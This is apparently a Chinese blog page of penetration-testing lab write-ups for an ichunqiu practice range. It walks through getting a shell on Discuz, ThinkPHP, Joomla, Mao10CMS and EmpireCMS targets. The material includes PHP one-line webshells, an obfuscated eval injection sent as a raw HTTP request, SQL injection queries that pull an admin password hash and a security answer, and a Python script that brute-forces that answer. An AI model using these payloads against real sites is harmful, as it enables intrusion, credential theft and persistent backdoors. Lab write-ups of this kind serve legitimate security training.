ITest
渗透测试入门
我很简单,请不要欺负我
网站综合渗透实验:
真的很简单:
你是会员吗:
2015中国网络安全大赛
一、代码执行:
同DZ漏洞全家桶中的"又见DZ,我能那你怎么办"。
二、Session欺骗:(so奇葩)
- www.xxx.xxx/admin/ 存在目录遍历;
- 禁用JS后居然可以获取后台!
- 不仅有后台,而且可以修改管理员密码!
- 在软件上传栏目中,系统使用白名单,可以直接上传php;
- Getshell。
三、越权访问:
- 帝国备份王,万能Cookie漏洞;
- BurpSuit 自动替换Cookie。
- 利用数据库备份写入一句话。(正则替换备份文件内容为一句话)
- Getshell。
四、信息泄露:
- 获取configuration.php~备份文件;
- 利用configuration文件中的账号密码登录phpmyadmin;
- 利用phpmyadmin重置admin密码;
- 登录Joomla后台,修改template代码,插入一句话;
- 连接一句话,www.xxx.com/templates/atom/index.php。
五、框架漏洞:
- ThinkPHP单一入口漏洞;
- http://www.test.ichunqiu/index.php/module/action/param1{${eval($_POST[chopper])}};
- 连接地址如上,密码chopper;
- Getshell。
六、Reinstall:
- Mao10CMS前台getshell漏洞;
- 存在Install.php.bak文件。/install.php安装脚本里面直接就是初始化数据库,然后写入配置文件:./Application/Common/Conf/db.php 安装文件没有做任何过滤。只能写db_prefix,因为只有他不写入数据库,而已写入配置文件,这样我们就能拿到webshell了。
',@eval ($_POST["chopper"]), //
DZ漏洞全家桶
一、这不是DZ漏洞?
- Discuz!X系列转换工具任意代码写入漏洞。在www.test.ichunqiu/utility/convert页面;
- 使用EXP。
POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
Host: www.test.ichunqiu
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 199
Content-Type: application/x-www-form-urlencoded
newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
- 连接www.test.ichunqiu/utility/convert/data/config.inc.php 密码c;
- Getshell。
二、又见DZ,我能拿你怎么办:
- 打开论坛,看下版本是dz!6.0 有一个投票注入漏洞,于是注册新用户soso,发起新投票,发现没有权限。
- 浏览论坛,发现test1账号,存在弱口令test1,拥有版主权限。
- 用test1账号发起投票,在"编辑"时用Burpsuit抓包。
- EXP:测试漏洞是否存在:' or updatexml(1,concat(0x7e,(version())),0) or ''='(注意删除内容。)
- 爆破管理员密码
' or updatexml(1,concat(0x7e,(select password from cdb_members where uid=1)),0) or ''='
得到31位md5值"b10a9a82cf828627be682033e6c58780",手工添加一位后,在线破解,得admin密码:whoami!@#123
- 登录时发现有安全提问,于是继续用burpsuite 爆安全提问答案
构造语句:' or updatexml(1,concat(0x7e,(select secques from cdb_members where uid=1)),0) or ''='
得到加密字符串"~61a55235",利用以下脚本爆破,得安全问题为第七个问题,答案为"9595"。
(1),将安全问题的value md5加密得到一个加密串
(2),将问题的答案与上一步的加密串连接组成新的字符串后再md5加密得到另一个加密串
(3),取第二步得出的加密串的第17位至24位的8位字符串存储到数据库
自己写一个py脚本通过密码字典与得到到八位加密串碰撞得出安全提问答案,代码如下:
DiscuzWendaCrack.py
import md5
md51 = 'c4ca4238a0b923820dcc509a6f75849b'
md52 = 'c81e728d9d4c2f636f067f89cc14862c'
md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'
md54 = 'a87ff679a2f3e71d9181a67b7542122c'
md55 = 'e4da3b7fbbce2345d7772b0674a318d5'
md56 = '1679091c5a880faf6fb5e6087eb1b2dc'
md57 = '8f14e45fceea167a5a36dedd4bea2543'
arr = [md51,md52,md53,md54,md55,md56,md57]
crackstr = '61a55235'
aa = 1
f = open("foo.txt")
line = f.readline()
while line:
line=line.strip('\n')
i=0
for md in arr:
i = i+1
m1 = md5.new()
m1.update(line+md)
jiamistr = m1.hexdigest()
if not crackstr in jiamistr:
print line+'('+str(i)+'):unsuccess'
else:
print line+'('+str(i)+'):'+jiamistr
aa=0;
break
line = f.readline()
if not aa:
break
f.close()
DiscuzWendaCrack.py
import md5
md51 = 'c4ca4238a0b923820dcc509a6f75849b'
md52 = 'c81e728d9d4c2f636f067f89cc14862c'
md53 = 'eccbc87e4b5ce2fe28308fd9f2a7baf3'
md54 = 'a87ff679a2f3e71d9181a67b7542122c'
md55 = 'e4da3b7fbbce2345d7772b0674a318d5'
md56 = '1679091c5a880faf6fb5e6087eb1b2dc'
md57 = '8f14e45fceea167a5a36dedd4bea2543'
arr = [md51,md52,md53,md54,md55,md56,md57]
crackstr = '61a55235'
aa = 1
f = open("foo.txt")
line = f.readline()
while line:
line=line.strip('\n')
i=0
for md in arr:
i = i+1
m1 = md5.new()
m1.update(line+md)
jiamistr = m1.hexdigest()
if not crackstr in jiamistr:
print line+'('+str(i)+'):unsuccess'
else:
print line+'('+str(i)+'):'+jiamistr
aa=0;
break
line = f.readline()
if not aa:
break
f.close()
密码字典foo.txt是生成的3位到5位的纯数字

- 登录后台通过 论坛管理--模板编辑--详情--customfaq编辑写入一句话木马 eval($_POST[soso]);注意在<?之后位置写入保存。
- Getshell,连接地址templates\default\customfaq.lang.php。
linhai19760812
only_system
ITest的更多相关文章
- 分布式团队中沟通引发的问题, itest 解决之道
导读: 从问题场景和 itest 优雅解决办法及示例2部分来阐述 1.问题场景: 研发团队是分散在几地的分布式团队,经常会因沟通引来一些问题.如下三图是开发觉得测试进度太慢,一番对话之后, 接下来他们 ...
- itest 开源测试管理项目中封装的下拉列表小组件:实现下拉列表使用者前后端0行代码
导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景 像easy ui 之类的纯前端组件,也有下拉列表组件,但是使用的时候,每个下拉列表,要配一个URL ...
- spring JdbcTemplate 在itest 开源测试管理项目中的浅层(5个使用场景)封装
导读: 主要从4个方面来阐述,1:背景:2:思路:3:代码实现:4:使用 一:封装背景, 在做项目的时候,用的JPA ,有些复杂查询,比如报表用原生的JdbcTemplate ,很不方便;传参也不方便 ...
- 软件测试自动化的最新趋势对开源测试管理软件ITEST的启示
https://www.infoq.cn/article/c-LHJS2ksuDxp1WkrGl4 理面提到几点,DevOps 的关键原则是开发团队.测试团队和运营团队协作,无缝发布软件.这意味着集中 ...
- Itest(爱测试),最懂测试人的开源测试管理软件隆重发布
测试人自己开发,汇聚10年沉淀,独创流程驱动测试.度量展现测试人价值的测试协同软件,开源免费 官网刚上线,近期发布源码:http://www.itest.work 在线体验 http://www. ...
- C#调用Delphi接口(ITest = interface)
首先创建一个delphi的DLL工程 library testintfdll; { Important note about DLL memory management: ShareMem must ...
- 开源敏捷测试管理& 开源BUG跟踪管理软件itest(爱测试) V3.3.0隆重发布
v3.3.0 下载地址 :itest下载 码云源码地址 https://gitee.com/itestwork/itest 开源中国 itest项目地址 https://www.oschina. ...
- itest(爱测试) 4.2.1 发布,开源BUG 跟踪管理 & 敏捷测试管理软件
itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票 去投票 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者 ...
- itest(爱测试) 4.2.0 发布,开源BUG 跟踪管理 & 敏捷测试管理软件
itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票 去投票 v4.2.0下载地址 :itest下载 itest 简介:查看简介 itest ...
- itest(爱测试) 4.1.5 发布,开源BUG 跟踪管理 & 敏捷测试管理软件
v4.1.5下载地址 :itest下载 itest 简介:查看简介 itest 开源敏捷测试管理,testOps 践行者.可按测试包分配测试用例执行,也可建测试迭代(含任务,测试包,BUG)来组织测试 ...
随机推荐
- 记一次解决curl https证书问题
问题起因 在访问https的网站时,报出Peer's Certificate has expired的错误.如下: [root@localhost ~]# curl https://www.baidu ...
- CSS实现导航条Tab的三种方法
前面的话 导航条Tab在页面中非常常见,本文说详细介绍CSS实现导航条Tab的三种方法 布局 根据上图所示,先规定几个定义,上图的模块整体叫做导航,由导航标题和导航内容组成.要实现上图所示的布 ...
- Linux下网卡BCM4313的安装
我遇到的问题:打开网络管理->wifi 显示固件缺失 通过: 1 lspci | grep Wireless 显示: 1 08:00.0 Network controller: Broadcom ...
- 第一百三十一节,JavaScript,封装库--CSS
JavaScript,封装库--CSS 将封装库里的方法,改成了原型添加方法 增加4个方法 tian_jia_class()方法,给获取到的元素添加class属性,参数是class属性值,可以连缀1 ...
- 如何运用xp_cmdshell 执行多行cmd命令
因为需要利用sql 脚本调用外部程序,所以尝试xp_cmdshell 命令,发现其默认只能执行一行命令,最后找到了下面方法: 将多行cmd 命令处理成bat文件,然后直接利用所在路径+文件来执行: ...
- CreateMutex()参数报错问题
举例: hMutex = CreateMutex(NULL, FALSE,"screen"); 报错 error C2664:"CreateMutexW": 不 ...
- Python中is和==的区别的
在python中,is检查两个对象是否是同一个对象,而==检查他们是否相等. str1 = 'yangshl' str2 = 'yang' + 'shl' print('str1 == str2:', ...
- js函数的可变参数
//对于js的可变参数的清空,在定义函数式不需要写上参数, 在函数内部使用argument对象可以 直接获取参数个数等信息 //在调用函数式可以传递任意个数的参数 function text(){ v ...
- 【转】SQL Server 2008 事件探查器(SQL SERVER Profiler)
跟踪数据库sql语句的执行情况.例:一个系统,用到了sql server 数据库,这个系统共有500张表,当用户在前台页面做某一个操作时,比如插入,登录等等,我们想知道此刻是在对哪一张表操作,打开事件 ...
- dplyr 数据操作 常用函数(3)
接下了我们继续了解dplyr中有用的函数 1.if_else() if_else主要用于在数据做判断用 x<-data.frame(id=1:6, name=c("wang" ...